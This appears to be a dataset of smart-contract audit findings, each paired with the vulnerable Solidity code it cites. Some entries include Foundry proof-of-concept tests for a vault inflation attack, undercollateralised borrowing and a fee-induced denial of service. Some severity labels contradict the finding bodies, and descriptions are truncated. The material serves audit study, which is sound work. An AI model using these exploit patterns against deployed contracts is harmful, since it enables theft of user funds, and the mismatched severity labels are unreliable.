Farseen0/scar-pairs huggingface dataset:
LOW severity: Local Variable Shadowing in TradingVault & Referrals Contract. **Severity**: Low

**Status**: Resolved

**Location**: Referrals.sol

**Description**: 

In both the `TradingVault` and `Referrals` contracts, there is an issue with function parameter shadowing that could lead to confusion and potentially incorrect assumptions about the contract's state....

Vulnerable code:
TradingVault.setAllowedToInteract(address,bool)._status
TradingVault.setAllowed(address,bool)._status
Referrals.setAllowedToInteract(address,bool)._status
LOW severity: Inconsistent Attribute Validation in Modifiers. **Severity**: Low

**Status**: Resolved

**Location**: PairInfos.sol

The smart contract includes four modifiers (`groupListed`, `feeListed`, `groupOk` and `feeOk`) that are responsible for validating attributes related to groups and fees. However, there is inconsistency in how these modifiers...

Vulnerable code:
modifier groupListed(uint256 _groupIndex) {
        require(groups[_groupIndex].maxCollateralP > 0, "GROUP_NOT_LISTED");
        _;
    }

    modifier feeListed(uint256 _feeIndex) {
        require(fees[_feeIndex].openFeeP > 0, "FEE_NOT_LISTED");
        _;
    }

    modifier groupOk(Group calldata _group) {
        require(_group.maxCollateralP < MILLAGE_DENOMINATOR, "maxCollateralP wrong");
        _;
    }

    modifier feeOk(Fee calldata _fee) {
        require(_fee.openFeeP < MILLAGE_DENOMINATOR && _fee.closeFeeP < MILLAGE_DENOMINATOR, "WRONG_FEES");
        _;
    }
LOW severity: Potential inconsistent accounting due to `rescueFunds` Function. **Severity**: Low

**Status**: Resolved

**location**: FeeHelper.sol

The smart contract contains a function named `rescueFunds` that allows the owner to withdraw an arbitrary amount of an arbitrary ERC20 token (_token) and transfer it to a specified `_receiver` address. While this functionality...

Vulnerable code:
function rescueFunds(address _token, address _receiver, uint256 _amount) external onlyOwner {
        require(_receiver != address(0));
        SafeERC20.safeTransfer(IERC20(_token), _receiver, _amount);
    }
MEDIUM severity: The decimal unit discrepancy in `lockedVeTokenUsdcValue` Function. **Severity**: Medium

**Status**: Resolved

**Location**: EligibilityDataProvider.sol

**Description**

The `lockedVeTokenUsdcValue` function does not accurately return the value in proper decimal units.

The issue arises because both `veTokenAmount` and price are treated as if they are in 18...

Vulnerable code:
// [AUDIT] the result decimal units of priceOfAPuffInEth equals the decimal units of price
uint256 priceOfAPuffInEth = 1e18 / priceOfEthInApuff; //1 Apuff to eth
MEDIUM severity: Incomplete user position update due to missing function invocation. **Severity**: Medium

**Status**: Resolved

**Location**: VotingEscrowSidechain.sol

**Description**

If `cic.afterLockUpdate(userAddr)` is not invoked in the `_setNewUserPosition` function, the `userInfo` records will not be updated as expected. This occurs because the...

Vulnerable code:
function _setNewUserPosition(bytes memory userData) internal {
        (address userAddr, LockedPosition memory position) = abi.decode(userData, (address, LockedPosition));
        positionData[userAddr] = position;
        //  cic.afterLockUpdate(userAddr); 
        emit SetNewUserPosition(position);
    }
LOW severity: Risk calling recover on APUFFToken. **Severity**: Low

**Status**: Resolved

**Location**: ChefIncentivesController.sol

**Description**

The smart contract contains a function named `recoverERC20` that allows the owner to withdraw an arbitrary amount of an arbitrary ERC20 token (tokenAddress) and transfer it to a `msg.sender`....

Vulnerable code:
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner {
        _recoverERC20(tokenAddress, tokenAmount);
    }
LOW severity: Improving Accuracy of Timestamp Comparison in `isTimeInThePast` Function. **Severity**: Low

**Status**: Acknowledged

**Location**: MiniHelpers.sol

**Description**

In the `isTimeInThePast` function, the comparison `timestamp <= block.timestamp` is used to determine if a given timestamp is in the past. However, if the timestamp is equal to the current time...

Vulnerable code:
function isTimeInThePast(uint256 timestamp) internal view returns (bool) {
        return (timestamp <= block.timestamp); // same definition as isCurrentlyExpired
    }
LOW severity: CEI not followed in `VotingEscrowMainchain`. **Severity**: Low

**Status**: Acknowledged

**Description**: 

In `VotingEscrowMainchain.sol`, the Checks-Effects-Interactions pattern has not been followed in `increaseLockPosition()` function. It is always a best practice to follow checks effects interactions pattern.
The external call is on...

Vulnerable code:
protocolToken.safeTransferFrom(user, address(this), additionalAmountToLock);
HIGH severity: Lack of ERToken Transfer Validation. **Severity**: Low

**Status**: Resolved

**Location**: StaderHavenStakingManager.sol

**Description**

Function `withdrawProtocolFees()` initiates ERC20 token transfers without validating the return value of the transfer operation or utilizing SafeERC20. This oversight can result in unhandled...

Vulnerable code:
function withdrawProtocolFees() external onlyRole(MANAGER) {
        computeLatestProtocolFees();
        IERC20Upgradeable(staderConfig.getETHxToken()).transfer(treasury, lastStoredProtocolFeesAmount);
        emit WithdrawnProtocolFees(treasury, lastStoredProtocolFeesAmount);
        lastStoredProtocolFeesAmount = 0;
    }
LOW severity: Unrestricted Token Approval. **Severity**: Low

**Status**: Resolved

**Location**: StaderHavenStakingManager.sol

**Description**

The smart contract includes a function called `maxApproveETHx` which approves the maximum amount of tokens to be transferred to an external contract, `StaderUserWithdrawManager`. This approval is.....

Vulnerable code:
function maxApproveETHx() external onlyRole(MANAGER) {
        address userWithdrawalManager = staderConfig.getUserWithdrawManager();
        if (userWithdrawalManager == address(0)) {
            revert ZeroAddress();
        }
        ERC20Upgradeable(staderConfig.getETHxToken()).approve(userWithdrawalManager, type(uint256).max);
    }

127  (ERC20Upgradeable(staderConfig.getETHxToken()).balanceOf(address(this)) - lastStoredProtocolFeesAmount)

97      uint256 requestID = IStaderUserWithdrawManager(staderConfig.getUserWithdrawManager()).requestWithdraw(
            ethXShareToBurn, msg.sender, "Haven1"
        );
HIGH severity: VAULT IS VULNERABLE TO INFLATION ATTACK. **Severity**: Critical

**Status**: Resolved 

**Description**

The `depositNative` and `deposit` functions allow users to deposit asset in exchange for shares of the LendingVault. The `mintShares` function is the one that calculates and mints the corresponding amount of shares to the users.

The...

Vulnerable code:
function _mintShares(uint256 assetAmt) internal returns (uint256) {
   uint256 _shares;

   if (totalSupply() == 0) {
     _shares = assetAmt * _to18ConversionFactor();
   } else {
     _shares = assetAmt * totalSupply() / (totalAsset() - assetAmt);
   }

   // Mint lvToken to user equal to liquidity share amount
   _mint(msg.sender, _shares);

   return _shares;
 }

function testPocInflationAttack() public {
       deal(bob, 10 ether);
       uint256 attackerBalanceBeforeAttack = address(bob).balance;
       vm.startPrank(bob);
       vault.depositNative{value: 1}(1, 0); // Attacker deposit 1 weo

       uint256 totalSupply = vault.totalSupply();
       uint256 totalAssets = vault.totalAsset();
       assert(totalAssets == 1 && totalSupply == 1); // TotalAssets and supply = 1

       // Attacker front-runs victim's tx
       uint256 inflatedAmount = 149275995181204;
       asset.transfer(address(vault), inflatedAmount);
       uint256 totalAssets2 = vault.totalAsset();
       assert(totalAssets2 == inflatedAmount + 1);
       vm.stopPrank();

       // Victim now deposits
       vm.startPrank(jim);
       deal(jim, 10 ether);
       uint256 victimDepositAmount = inflatedAmount / 2;
       vault.depositNative{value: victimDepositAmount}(victimDepositAmount, 0);
       uint256 victimShares = vault.balanceOf(jim);
       assert(victimShares == 0);
       vm.stopPrank();

       // Attacker withdraws the whole balance
       vm.startPrank(bob);
       uint256 attackerShares = vault.balanceOf(bob);
       vault.withdraw(attackerShares, 0);
       uint256 attackerBalanceAfterAttack = address(bob).balance;

       // We check that the difference in balance is the attacker's deposited amount + victim's deposited amount
       assert(attackerBalanceAfterAttack - attackerBalanceBeforeAttack == victimDepositAmount + inflatedAmount);
   }
MEDIUM severity: BORROWERS CAN DRAIN THE VAULT FREELY. **Severity:** Medium	

**Status:** Acknowledged

**Description**

Borrowers are allowed to borrow assets but they are not paying any collateral so that they can leave with the asset and never pay their debt back. The borrow() function is only callable by users set as borrowers so that any user set.....

Vulnerable code:
function borrow(uint256 borrowAmt) external nonReentrant whenNotPaused onlyBorrower {
   if (borrowAmt == 0) revert Errors.InsufficientBorrowAmount();
   if (borrowAmt > totalAvailableAsset()) revert Errors.InsufficientLendingLiquidity();

   // Update vault with accrued interest and latest timestamp
   _updateVaultWithInterestsAndTimestamp(0);

   // Calculate debt amount
   uint256 _debt = totalBorrows == 0 ? borrowAmt : borrowAmt * totalBorrowDebt / totalBorrows;

   // Update vault state
   totalBorrows = totalBorrows + borrowAmt;
   totalBorrowDebt = totalBorrowDebt + _debt;

   // Update borrower state
   Borrower storage borrower = borrowers[msg.sender];
   borrower.debt = borrower.debt + _debt;
   borrower.lastUpdatedAt = block.timestamp;

   // Transfer borrowed token from vault to manager
   asset.safeTransfer(msg.sender, borrowAmt); 
   emit Borrow(msg.sender, _debt, borrowAmt);
 }

function totalAsset() public view returns (uint256) {
   return totalBorrows + _pendingInterests(0) + totalAvailableAsset(); 
}

function testBorrowTheWholeVaultFreely() public {
       vm.startPrank(address(alice));
       vault.approveBorrower(address(bob)); // Approve Bob as borrower
       vm.stopPrank();

       deal(jim, 10 ether);
       vm.startPrank(jim);
       vault.depositNative{value: 1 ether}(1 ether, 0); // User deposit 1 ether
       vm.stopPrank();

       vm.startPrank(bob);
       uint256 balanceBefore = IERC20(asset).balanceOf(bob);
       vault.borrow(1 ether); // bob borrowers 1 ether and does not pay it back
       uint256 balanceAfter = IERC20(asset).balanceOf(bob);


       assert(balanceAfter > balanceBefore);
       assert(balanceAfter == balanceBefore + 1 ether);
   }
MEDIUM severity: ETH CAN GET STUCK IN THE CONTRACT. **Severity**: Medium	

**Status**: Resolved

**Description**

The contract implements a receive() function. The purpose of this receive function is to receive the ETH as a result of a withdraw() from its wrapped version, they confirm it in the NatSpec comment: `Fallback function to receive native...

Vulnerable code:
receive() external payable {
   if (!isNativeAsset) revert Errors.OnlyNonNativeDepositToken();
 }

function setUp() public {
       counter = new Counter();
       counter.setNumber(0);
      
       SteadefiAccessManager accessManagerContract = new SteadefiAccessManager(alice);
       asset = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1); // wETHER in ARB
       vault = new LendingVault(
               "VAULT",
               "VLT",
               asset,
               true, // set as native
               10000,
               1000 ether,
               bob,
               address(accessManagerContract)
               );      
   }

2nd: directly send ETH
function testSendEtherToVault() public {
       deal(address(vault), 10 ether);
       assert(address(vault).balance == 10 ether);
   }
MEDIUM severity: PROTOCOL CAN BECOME UNUSABLE DUE TO DOS. **Severity**: Medium	

**Status**: Resolved

**Description**

There is a problem with the use of for loops in `_pendingInterests` functions. The loops go through `_approvedBorrowers` array so if this array grows enough to txs run out of gas then there is a problem. Specially with...

Vulnerable code:
_pendingInterests(uint256 assetAmt):

function _pendingInterests(uint256 assetAmt) internal view returns (uint256) {
   uint256 pendingInterests_;

   for (uint256 i = 0; i < _approvedBorrowers.length(); i++) { 
     pendingInterests_ += _pendingInterest(_approvedBorrowers.at(i), assetAmt);
   }

   return pendingInterests_;
 }
MEDIUM severity: FRONT-RUNNING USERS IS POSSIBLE BY THE PROTOCOL TO OBTAIN A HIGHER FEE. **Severity**: Medium	

**Status**: Resolved

**Description**

The performanceFee variable is a key variable to calculate the fee obtained by the protocol. This variable can be changed by calling the `updatePerformanceFee` function by the `restricted` user/users. 

If a user executes a transaction,.....

Vulnerable code:
function updatePerformanceFee(uint256 newPerformanceFee) external restricted { 
   _updateVaultWithInterestsAndTimestamp(0);

   performanceFee = newPerformanceFee;

   emit PerformanceFeeUpdated(msg.sender, performanceFee, newPerformanceFee);
 }
MEDIUM severity: PRECISION LOSS. **Severity**: Medium	

**Status**: Resolved

**Description**

The `lendingAPR()` function which returns the current lendingAPR, calculated as `borrowAPR * utilizationRate * ( 1 - performanceFee)` implements a division before a multiplication in the formula which can lead to rounding error as...

Vulnerable code:
return borrowAPR_ * utilizationRate_
                        / SAFE_MULTIPLIER
                        * ((1 * SAFE_MULTIPLIER) - performanceFee)                        			/ SAFE_MULTIPLIER;

return borrowAPR_ * utilizationRate_
                        * ((1 * SAFE_MULTIPLIER) - performanceFee) 
                        / SAFE_MULTIPLIER  / SAFE_MULTIPLIER;
MEDIUM severity: `performanceFee` CAN LEAD TO DENIAL OF SERVICE (DOS). **Severity**: Medium	

**Status**: Resolved

**Description**

The function `updatePerformanceFee()` allows the restricted user to change and set a new `performanceFee`. If performanceFee is set to a value higher than `SAFE_MULTIPLIER` (1e18) it will produce a denial of service due to an underflow...

Vulnerable code:
function testPocPerformanceFeeCausePOC() public {
       vm.startPrank(address(alice));
      vault.approveBorrower(address(bob)); // Approve Bob as borrower

       // Set interest rate
       ILendingVault.InterestRate memory _interestRate;
       _interestRate.baseRate = 0;
       _interestRate.multiplier = 254319144689994600000;
       _interestRate.jumpMultiplier = 45777446044199026;
       _interestRate.kink1 = 100000000000000;
       _interestRate.kink2 = 500000000000000000;
       vault.updateMaxInterestRate(bob, _interestRate);
       vault.updateInterestRate(bob, _interestRate);
      
       // Update performance fee to a value higher than SAFE_MULTIPLIER
       uint256 SAFE_MULTIPLIER = 1e18;
       vault.updatePerformanceFee(SAFE_MULTIPLIER + 1);
       vm.stopPrank();

       // User deposits and borrows to increase borrowAPR and utilizationRate
       deal(bob, 10 ether);
       vm.startPrank(bob);
       vault.depositNative{value: 1 ether}(1 ether, 0);
       vault.borrow(1 ether);

       // Call to lendingAPR() reverts
       vm.expectRevert();
       vault.lendingAPR();
   }
LOW severity: CHECK-EFFECTS-INTERACTIONS PATTERN NOT FOLLOWED. **Severity**: Low

**Status**: Acknowledged

**Description**

The checks effects interactions pattern has not been followed in the depositNative() function. This function allows external call to the native asset contract on line: 267, after which state changes are done. 

This can be risky and...

Vulnerable code:
IWNT(address(asset)).deposit{ value: msg.value }();
LOW severity: INTEREST RATE CALCULATION DOES NOT COVER COMMENTED CASE. **Severity**: Low	

**Status**: Resolved

**Description**

The internal function `_calculateInterestRate()` is used for calculating the interest rate based on the borrower’s model and overall utilization rate. The function contemplates 3 different cases depending on the value of _utilization...

Vulnerable code:
// If _utilization between kink1 and kink2, rates are flat
   if (_interestRate.kink1 < _utilization && _utilization <= _interestRate.kink2) {     return _interestRate.baseRate + (_interestRate.kink1 * _interestRate.multiplier / SAFE_MULTIPLIER);
   }

   // If _utilization below kink1, calculate borrow rate for slope up to kink 1
   return _interestRate.baseRate + (_utilization * _interestRate.multiplier /SAFE_MULTIPLIER);

if (_interestRate.kink1 <= _utilization && _utilization <= _interestRate.kink2)
LOW severity: `fee1e9` can be set to a higher value than expected. **Severity**: Low	

**Status**: Acknowledged

**Description**

The function `setFee()` in the `StableSwapPool.sol` and `XYKPool.sol` contracts checks the new fee to ensure that it is equal or lower than `0.1e9`:

It can be seen that the `require` checks the value of `fee1e9` instead of the input...

Vulnerable code:
function setFee(uint256 fee1e9_, uint256 decayRate_) external authenticate { 
       require(fee1e9 <= 0.1e9);
       fee1e9 = uint32(fee1e9_);
       emit FeeChanged(fee1e9 * uint256(1e8)); 
   }

require(fee1e9_ <= 0.1e9);
LOW severity: Possible Denial of Service due to  `lastWithdrawTimestamp != block.timestamp` when calling Bladeswap__execute(). **Severity**: Low	

**Status**: Acknowledged

**Description**

When a call to the `Bladeswap__execute()` function in the `StableSwapPool.sol` and `XYKPool.sol` contracts is executed there is a `require` that checks if `lastWithdrawTimestamp != block.timestamp`:

If `lastWithdrawTimestamp` is not...

Vulnerable code:
if (lastWithdrawTimestamp != block.timestamp) {
           feeMultiplier = 1e9;
}

function _exchange(
       int256 a_0,
       int256 a_1,
       int256 a_k,
       int256 b_1,
       int256 d_k,
       int256 fee
   ) internal view returns (int256) {
       int256 b_k = a_k - d_k;
       require(b_k >= 2);

       if (a_k <= b_k) {
           b_1 -= (SignedMath.max(((a_k * b_1) / b_k) - a_1, 0) * fee) / 1e18;
       } else if (a_k > b_k) {
           b_1 -= (SignedMath.max(b_1 - ((b_k * a_1) / a_k), 0) * fee) / 1e18;
       }

       int256 b_0 = _y(b_k, b_1);

       if (a_k <= b_k) {
           b_0 +=
               (SignedMath.max(((a_k * b_0) / b_k) - a_0, 0) * fee) /
               (1e18 - fee);
       } else if (a_k > b_k) {
           b_0 +=
               (SignedMath.max(b_0 - ((b_k * a_0) / a_k), 0) * fee) /
               (1e18 - fee);
       }

       return b_0 - a_0 + 1;
   }
LOW severity: Fee minimum value can get bypassed. **Severity**: Low

**Status**: Acknowledged

**Description**

The function `setFee()` in the `StableSwapPool.sol` and `XYKPool.sol` contracts allows certain addresses to set a new value for the `fee1e9` variable. This function implements a require statement for ensuring that the value is lower or...

Vulnerable code:
function setFee(uint256 fee1e9_, uint256 decayRate_) external authenticate { 
       require(fee1e9 <= 0.1e9);
       fee1e9 = uint32(fee1e9_);
       emit FeeChanged(fee1e9 * uint256(1e8)); 
 }

constructor(
       IVault vault_,
       string memory _name,
       string memory _symbol,
       Token t0,
       Token t1,
       uint32 fee1e9_,
       uint32 decay,
       uint32 a_
   ) SingleTokenGauge(vault_, toToken(this), this) {
       A = a_;


       _2a = int256(uint256(2 * a_));
       _4a = int256(uint256(4 * a_));
       _2a_minus_1 = int256(uint256(2 * a_ - 1));
       _8a = int256(uint256(8 * a_));
       decayRate = decay;
       fee1e9 = fee1e9_; // @audit check can be bypassed 
       index = 1e18;
       lastIndex = 1e18;
LOW severity: Missing sanity checks for important variables. **Severity**: Low	

**Status**: Acknowledged

**Description**

There are some important variables in the `StableSwapPool.sol` and `XYKPool.sol` contract that are not checked before being set in the `constructor()` function and also in the functions used for changing their values.

-...

Vulnerable code:
function setDecay(uint256 decayRate_) external authenticate {
       decayRate = uint32(decayRate_);
       emit DecayChanged(decayRate);
   }

function setFee(uint256 fee1e9_, uint256 decayRate_) external authenticate { 
       require(fee1e9 <= 0.1e9);
       fee1e9 = uint32(fee1e9_);
       emit FeeChanged(fee1e9 * uint256(1e8)); 
   }
LOW severity: `lastWithdrawTimestamp` used instead of `lastTradeTimestamp`.. **Severity**: Low	

**Status**: Acknowledged

**Description**

The `Bladeswap__execute()` function in `StableSwapPool.sol` and `XYKPool.sol` implements an ‘if statement’ which checks if `lastWithdrawTimestamp` is equal to `block.timestamp`.

`lastWithdrawTimestamp` is never initialized so it will...

Vulnerable code:
if (lastWithdrawTimestamp != block.timestamp) {
           feeMultiplier = 1e9;
 }
MEDIUM severity: Potential for Stale or Incorrect Price Data from Chainlink Oracles. **Severity**: Medium

**Status**: Resolved

**Description**:

The `SakazukiSilver` smart contract utilizes Chainlink oracles to obtain real-time exchange rates for ETH/USD and JPY/USD, which are crucial for calculating the dynamic minting prices of NFTs. However, there is a significant risk...

Vulnerable code:
(uint80 roundID, int price, , uint256 updateTime, uint80 answeredInRound) = AggregatorV3Interface(oracleAddress).latestRoundData();
require(price > 0, "Chainlink price <= 0");
require(updateTime != 0, "Incomplete round");
require(answeredInRound >= roundID, "Stale price");
LOW severity: Loss of minting price information in mint Function. **Severity**: Low

**Status**: Resolved

**Description**: 

In the `mint()` function of the Solidity smart contract, the minting price information is not stored or returned after the minting price is calculated and assigned to `_amountInEth`. This means that users do not have an easy way to know...

Vulnerable code:
...
    emit WithdrawalSuccess(msg.value, _amountInEth);
LOW severity: If no challenge is submitted, the `firstOpenChallengeForNodeKey()`, `firstOpenChallenge()`, and `firstUnverifiedChallenge()` functions return incorrect values.. **Severity**: Low

**Status**: Acknowledged

**Description**

`challenges[0].closedTimestamp` will always be zero because the sequence number can not be 0.
So if no challenge is submitted, the `firstOpenChallengeForNodeKey()`, `firstOpenChallenge()`, and `firstUnverifiedChallenge()` functions...

Vulnerable code:
function firstOpenChallenge() public view returns (uint256) {
        if (firstBatchSequenceNumber == 0) return 0;
        uint256 i = latestBatchSequenceNumber;
        for (; i >= firstBatchSequenceNumber; i--) {
            if (challenges[i].closedTimestamp <= block.timestamp) {
                return i + 1;
            }
        }
        if (i == firstBatchSequenceNumber - 1) {
            return firstBatchSequenceNumber;
        }
    }
LOW severity: ATTACKER CAN GET OWNERSHIP OF THE CONTRACT. **Severity**: Low	

**Status**: Resolved

**Description**

The ownership of the `TonBridge.sol` contract is set in the `initialize()` function by the caller. This function, `initialize()` has no access control so anybody can call the function and become the owner. The `initialize()` function can...

Vulnerable code:
function initialize(address _tonBridge, address _symbiosisBridge, uint256 _bridgeChainId, address _broadcaster) public virtual initializer { 
       __Ownable_init(); 

       tonBridge = _tonBridge;
       symbiosisBridge = _symbiosisBridge;
       bridgeChainId = _bridgeChainId;
       broadcaster = _broadcaster;
   }